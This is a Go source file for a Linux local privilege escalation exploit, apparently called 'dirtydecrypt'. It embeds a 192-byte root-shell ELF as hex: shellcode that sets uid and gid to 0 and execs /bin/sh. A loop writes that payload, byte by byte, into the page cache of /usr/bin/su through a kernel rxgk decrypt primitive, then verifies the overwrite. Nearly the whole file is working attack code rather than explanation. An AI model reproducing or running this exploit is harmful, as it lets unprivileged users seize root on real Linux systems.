package main // Sliding-window page-cache write loop. // Each fire() call at offset i decrypts a 16-byte AES block in-place; // byte i of the page-cache gets a uniformly random value (random key). // Once byte i matches shellELF[i], move to i+1. // The damage to bytes i+1..i+15 is repaired by subsequent fires at those offsets. import ( "fmt" "os" "syscall" "golang.org/x/sys/unix" ) const ( targetPath = "/usr/bin/su" payloadLen = 192 entryOffset = int64(0x78) rxgkMinPayload = 28 // AES-128-CTS confounder(16) + HMAC-SHA1-96(12) maxAttempts = 10000 ) // shellELF is the same 192-byte x86_64 root-shell ELF as the dirtyfrag/fragnesia family. // PT_LOAD maps [0, 0xb8) RX from vaddr 0x400000; entry at 0x400078 (offset 0x78). // Code at 0x78: setresuid(0,0,0) + setresgid(0,0,0) + setgroups(0,NULL) + // execve("/bin/sh", ["/bin/sh", 0], ["TERM=xterm", 0]) var shellELF = [payloadLen]byte{ 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12, 0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } // dirtydecryptLPE writes shellELF into the page cache of /usr/bin/su one byte // at a time using the sliding-window rxgk decrypt primitive. func dirtydecryptLPE() error { rfd, err := syscall.Open(targetPath, syscall.O_RDONLY, 0) if err != nil { return fmt.Errorf("open %s: %w", targetPath, err) } defer syscall.Close(rfd) mapSlice, err := unix.Mmap(rfd, 0, 4096, unix.PROT_READ, unix.MAP_SHARED) if err != nil { return fmt.Errorf("mmap: %w", err) } defer unix.Munmap(mapSlice) //nolint:errcheck if suAlreadyPatched() { fmt.Fprintln(os.Stderr, "[+] already patched") return nil } changed, skipped := 0, 0 for i := 0; i < payloadLen; i++ { if mapSlice[i] == shellELF[i] { skipped++ continue } ok := false for attempt := 0; attempt < maxAttempts; attempt++ { if err := fire(rfd, int64(i)); err != nil { continue } if mapSlice[i] == shellELF[i] { ok = true break } } if !ok { return fmt.Errorf("byte[%d]: stuck after %d fires (cur=%02x want=%02x)", i, maxAttempts, mapSlice[i], shellELF[i]) } changed++ } fmt.Fprintf(os.Stderr, "[+] wrote %d bytes (%d changed, %d already correct)\n", payloadLen, changed, skipped) if mapSlice[entryOffset] != 0x31 || mapSlice[entryOffset+1] != 0xff { return fmt.Errorf("verify failed: entry bytes = %02x %02x", mapSlice[entryOffset], mapSlice[entryOffset+1]) } fmt.Fprintf(os.Stderr, "[+] /usr/bin/su page-cache patched (entry 0x%x = shellcode)\n", entryOffset) return nil }